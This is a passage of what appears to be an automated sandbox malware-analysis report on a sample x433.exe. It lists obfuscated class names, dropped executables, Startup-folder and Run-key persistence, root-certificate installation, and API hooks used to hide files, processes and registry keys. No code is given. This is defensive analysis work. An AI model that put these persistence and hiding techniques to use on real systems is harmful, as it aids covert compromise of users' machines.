Source: 0.2.x433.exe.29b77d8.1.raw.unpack, KgvNpQFD1pgyslmvoLVzYtqStdU0vY.cs	High entropy of concatenated method names: '_8OqKNdBpQOiP48byjobgpYdKjvomXU', 'bSMJ4wPTjULuRIGy20UVskepWllP8tk4XXKMa9hhWQ4xSP9EjJMUqTPO4upHSn5rtUuCwfq9Gr4oZSRYZE5uKPuqxQKdonuya', 'wKT6cqounpHYRYFCkj4gBtSbVwIDF60ELB01T92h8bh6mYlu0i92K6L8ZXsf4XHyaAi0s6qGfXrcIK6okzaEJXTR1NZBhKKJ3', 'FQKjPf2hqoC1UlXmUSQMOVlJtO41IdIgkPZql4wdu4YM059Qm8JumuCUvPqQvXel1aTrhIdZcx7JdoYlxAavrNAiKQ4Cqx3a6', 'p2o0lampFTBN00Sl2Ly0kao2KUg8HEgfgNWBsGWwrRNVRf3xcSm1prkmpTZ37cJnWU6TxDbV3JzbDLvYcTDQMtw0REG1BG3Eo'
Source: 0.2.x433.exe.29b77d8.1.raw.unpack, EnDrnZVI21QanoXDv7V6tpRAyEeGc3.cs	High entropy of concatenated method names: 'OJnYUbLkwSxKjmU6fKV2Hlw1IQDrrJ', 'tvU9fWfrnnauFESq3CZMjJqgWzCcQiVr8uOuybtYGmaAmLPTrBRbSmpeagqUwJ0IALVMMAlEq32BxT15HJetiYKVXqlBwiRN1', 'k27RKeDihzBbcaefRpL4TKPMWxclxn8k5c0RxZP7mcnpWucKutGtmjKZrYx20HvHIzkMsxzKuui79OmMLiSyzphYgEiKf93jl', 'Kdk7fsQFZWfb1NTSDwX0JpPEu3wN1ciOsKyPwnWHaTkkzFYlgvY2wLJUeOMcOnyeSOxZT6WHdCzt3OQdLa8', 'ZNCH16SUBJBa1infvnuYgiLTJaADVvvCpDUyOhAylbPs8EBspiKDd2NBofvowFjy7xlhRV6MgZ2dosI75Nq'
Source: x4usb.exe.2.dr, xfwOCj1PDUkyxHJ.cs	High entropy of concatenated method names: 'reqGHXI3G9wXso5', 'A3d5XBF2z5oVzdx', 'eM62vnBwLjHrGH0', 'a26UulBrBUIfuU8QpVdSBT5Y3', 'YnSkjpcwirB2DXcYUxXJJeLWI', 'ixkWVXbVwenR10cANu7dJKP7g', 'mYx4myPdes6v7IW2guHXEk0XM', 'USsEupRWAqKevrdsDYC30x7bu', '_6XZAKoQQgtBVHjhY9SsBP8xLt', 'vZHNXXe8F6yEh1yOyQfUiLBS9'
Source: x4usb.exe.2.dr, hOxzwpfm6coo0sFoeslkbZMZZb7K7qrd76lD9A2OOjokqoisweTmVdQnNUqdyCf5emVzmT0qOk8yGIDulWDAfZT1.cs	High entropy of concatenated method names: 'rWnjj3kE8i3rPLazoNf2St5AvccdZSJzR', 'sK0plnUhQjmhNNHfuS67N2yUQVQz4JiDZ', '_53WT8ngowxa7xthsXFFK8XeCjlHGk5Xmj', 'QD4jyzyxsnE0p6sTm96SrGfkWZdAoVoIk'
Source: x4usb.exe.2.dr, oqXYL7IBPbaOrkCLfAY49RFSxlJrU3xfS77bdqqQ5SraRAZwMVptFdt.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', '_1pKE2dRjC82lv6NlWDIGaThfWYlfx4Vo4', 'mTqpVonBrB3IDzdoyAwNFf98atXrckdFf', 'PQAExrLV3pDxmbwvvKsu4AWoINLVIjAvI', 'XPSWdY17exp3KlEhvfjyng5wzdFRgqDIo'
Source: x4usb.exe.2.dr, ep6wttCf2TiLTQ7SU0ji7DL4Gw31u1.cs	High entropy of concatenated method names: '_9KmzWj2mwalDOEBlyNP2RUmHGVJB0Z', 'oNXUpbPnIS5Rns1h69KZvbAfoRftvh', '_4jJu4Ia8z76oSV28Fbxqh2YxmM07G3', 'riqvGqOv1KqQr5kNYYUa2zhmrrkhvN', 'X1OxpIzLyhBl4TmbQKUQPdwhwgIGFJ', '_4kYSuRCBtXmtF4hZe7PcbiBTtCaVIg', '_45JikAg8ztoISYnTCTSKoerahn7Fh8', 'ftJZQZj46Ym8TmBooihlwWVW6mc6Qs', '_4mwLd6KxylnKnpZdEn9yb2RylClmkg', '_43NfPF5LUzaG2UCFRfZoKd43V2Y71J'
Source: x4usb.exe.2.dr, etNX0TntxxQcULpBdpvLQMPzQQj7vk.cs	High entropy of concatenated method names: 'E6lcacwk2Om4Jre8Zxlnx2uuwE3DSa', 'nEAfdyNliOQh4RbARZ4Mjrvp3lU9pw', 'H8c3AG7ObEKhDaQZQGLQNSaeOEF1MJ', 'CPxSbcTtcwCHCECL8MoBfAM4Ty8FRv', 'hbFWqMrhwX3iTTU', 'F2nHLZLu6dLkjSs', 'ozzr0SK9SyLkHPg', 'fIUf7QsKIygwHOo', '_6ZiCijBXyYwGoVC', 'dRhGyU4nmdwkQ0r'
Source: x4usb.exe.2.dr, EndO8ud7oLHcucMOjPbPQqoqz2hrsI.cs	High entropy of concatenated method names: 'MuXxwXMdWpj7xWfZCFLL3ajC86y3HE', 'Zqmy8YoOiD6vkJ4QUa6qotcMjyzvtw', 'GDO8A3hX6t4WEqwjwDmkN9QX1di8dA', '_5r19egLavdE3pWQeJ25pnksK8bXRUF', 'hTZmQb61o9zj5OrkvKSmDe6Dn0YcwV', '_8ZLzAgSEWrGxT2bsbvXNRGhoqnDFts', 'COTHbvM7SEhrqKoXNPnzOeAV5YgdKV', 'Jz8IH3YoK4J9mxv3FUpFYpuTYdowWR', 'TBxbKfZSmgHZ9whZ3JbDGlqvOrEfna', 'MhOzbgjjU4AbicRDgrjOYm29se7kjw'
Source: x4usb.exe.2.dr, 2GeJGBZ9s7f00k3MrIG6jUSZ27JzDpdLtJapZiFUDiIPvwDFAaMrisXFq17tsOrZFaIFb6cVJvf4N9MUGa9BFHlG.cs	High entropy of concatenated method names: 'z1LzC6OirZQYgRajqkXBhte5gh9cv4LgGo3P1E2BJiHNBuOSiZJigIuiAkPFEDHCDVm4JYf9fwPOeIqIlhVif8jd', 'HCuQxWK61KjHlQFB3M0c4VHJAaL6HrtPZDHGB8NaNSZq6UkCD0sKzCXaSPWKon2xn7FWCpURH9umJNAI5wdFooOO', '_1WMMCf1RCWPIZjJAw5BK2pk7i0eukKPmEt4AeDUNcJ7JnLAVp1iAzXJuj91qkclSY3GnfmyL5AV9RiknQciWCej7', 'WakgiKHdUOu78VuIIKHZ8zGfJ34jFVbA1LIqQTZlGEjfUnSEU8p85cj0GZzXVZeDdbSRPUcLb8ClWbJM4VPmJ9iw', 'kYkGiTHBpkN4O55gQqmuNZa55cxWW239wKIErOIZL2UdORA3BMlJ9P29ysS8z4uHaz3WQqkwgNodyhcstP3NBaw9', 'AWq5zbRm4tFVd34LPvDKiiEM3AMmOYr01Yx2btbKOEixxWORG3DLG2pPf3JPv1GnhTWTIc3QTE7RxXDDqSUoq2sB', 'ErFN0wMw3jBZKG8RpL7gOeUUeMzXUQeuP98eTqAgR5mYRoGPnH45UPYSv89wOFV2THc6uSTjPClTbRCnZ7Qz6wKk', 'q8opKTgZkDsYXfN2NJLUEevH0yTqFb4r5IsoBmPy5iYX6ajuruWSA6kC40jSandPrrkT8GIPykkQciP4NE9snONl', 'UfyPTB51UMnUJ4m08aCQ5xJbrmtLG4', 'zoFPojQVB5ILw3JamQNmwW2ZDKvWyA'
Source: x4usb.exe.2.dr, vthpzjkPbD10MqQvse8d9fgJdMuC69.cs	High entropy of concatenated method names: '_4FWlZlOv9mJvgefZ0oZnm4oehhLgu7', 'lnELcVdQS1KjcheIGYrB4ncZtrtGJ1', 'khljFe8k3eynRCcPUrTtQcLDJSfYdW', '_3pHprr9Uje78hOKmIDBwm74LcLR0gf', 'Y5J6lR8AXCpHirkDqZHu1AxA9OvKJbnJTugtJarDfVGeTU8peTob1op3HF6Nhe5YT0xNJjLPbNs6oEbgQGPe4LnhRTvQboc6N', 'bhaqJNHS2LH8epigaJtBlgMA2LQbW4n33Lgwf215UT60eyD9EHmyNDEWkVlik8c6jEl3iOysXcy9cIlscLLrmBhYyTQgafHw7', 'TlCcWOPNdmYoiwcRNmDsu3nZpJt9JjHfl647IMjnHYXDgPBs9vDpl2W2Zi09X0tLuME6YggpUOZZKmc59tFSy73v8AaSjeH3L', '_0RTp1iMhbSwasiCO1wAvDGgmeICOBLbCdi0UHWmgt5R6ftDE92322bTynImnNZe0NJWfGFeRYjPkUaF2d2N2kyeiYXBZ0Pd2s', 'ezUslj75uOCTADP6qP5EUIYwDx51Bo18aSlvhYg0ygBxP6fectATG16mbwziR5jIer6tycwZJOVw5TpWpnGDNwIfVzn5lAWLE', 'K6HJdPff3bNq0gfmsoCxocbF6Eyi361PVuyR3ArlJfkLRsWX9RI9Q9SiBYnuSiLG69BuhvE23aOFXboZJNozy7lvQoyJGQ84q'
Source: x4usb.exe.2.dr, KgvNpQFD1pgyslmvoLVzYtqStdU0vY.cs	High entropy of concatenated method names: '_8OqKNdBpQOiP48byjobgpYdKjvomXU', 'bSMJ4wPTjULuRIGy20UVskepWllP8tk4XXKMa9hhWQ4xSP9EjJMUqTPO4upHSn5rtUuCwfq9Gr4oZSRYZE5uKPuqxQKdonuya', 'wKT6cqounpHYRYFCkj4gBtSbVwIDF60ELB01T92h8bh6mYlu0i92K6L8ZXsf4XHyaAi0s6qGfXrcIK6okzaEJXTR1NZBhKKJ3', 'FQKjPf2hqoC1UlXmUSQMOVlJtO41IdIgkPZql4wdu4YM059Qm8JumuCUvPqQvXel1aTrhIdZcx7JdoYlxAavrNAiKQ4Cqx3a6', 'p2o0lampFTBN00Sl2Ly0kao2KUg8HEgfgNWBsGWwrRNVRf3xcSm1prkmpTZ37cJnWU6TxDbV3JzbDLvYcTDQMtw0REG1BG3Eo'
Source: x4usb.exe.2.dr, EnDrnZVI21QanoXDv7V6tpRAyEeGc3.cs	High entropy of concatenated method names: 'OJnYUbLkwSxKjmU6fKV2Hlw1IQDrrJ', 'tvU9fWfrnnauFESq3CZMjJqgWzCcQiVr8uOuybtYGmaAmLPTrBRbSmpeagqUwJ0IALVMMAlEq32BxT15HJetiYKVXqlBwiRN1', 'k27RKeDihzBbcaefRpL4TKPMWxclxn8k5c0RxZP7mcnpWucKutGtmjKZrYx20HvHIzkMsxzKuui79OmMLiSyzphYgEiKf93jl', 'Kdk7fsQFZWfb1NTSDwX0JpPEu3wN1ciOsKyPwnWHaTkkzFYlgvY2wLJUeOMcOnyeSOxZT6WHdCzt3OQdLa8', 'ZNCH16SUBJBa1infvnuYgiLTJaADVvvCpDUyOhAylbPs8EBspiKDd2NBofvowFjy7xlhRV6MgZ2dosI75Nq'

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior
Source: C:\Windows\System32\lsass.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob			Jump to behavior

Source: C:\Users\user\Desktop\x433.exe	File created: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe	Jump to dropped file
Source: C:\Users\user\Desktop\x433.exe	File created: C:\Users\user\AppData\Local\Temp\x4host.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	File created: C:\Users\user\AppData\Local\x4usb.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\x4host.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x4usb.lnk

Source: C:\Users\user\AppData\Local\Temp\x4host.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x4usb.lnk

Hooks files or directories query functions (used to hide files and directories)

Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe

Code function: 1_2_0078CBD0 StrStrIW,CloseHandle,StrStrIW,CloseServiceHandle,OpenServiceW,StrStrIW,_wcslen,ChangeServiceConfigW,StrStrIW,StrStrIW,CloseServiceHandle,CloseHandle,StartServiceW,

1_2_0078CBD0

Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run x4usb			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run x4usb			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Source: C:\Users\user\AppData\Local\Temp\x4Shellcode.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE x4stager

Check if machine is in data center or colocation facility

Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\x433.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x4host.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
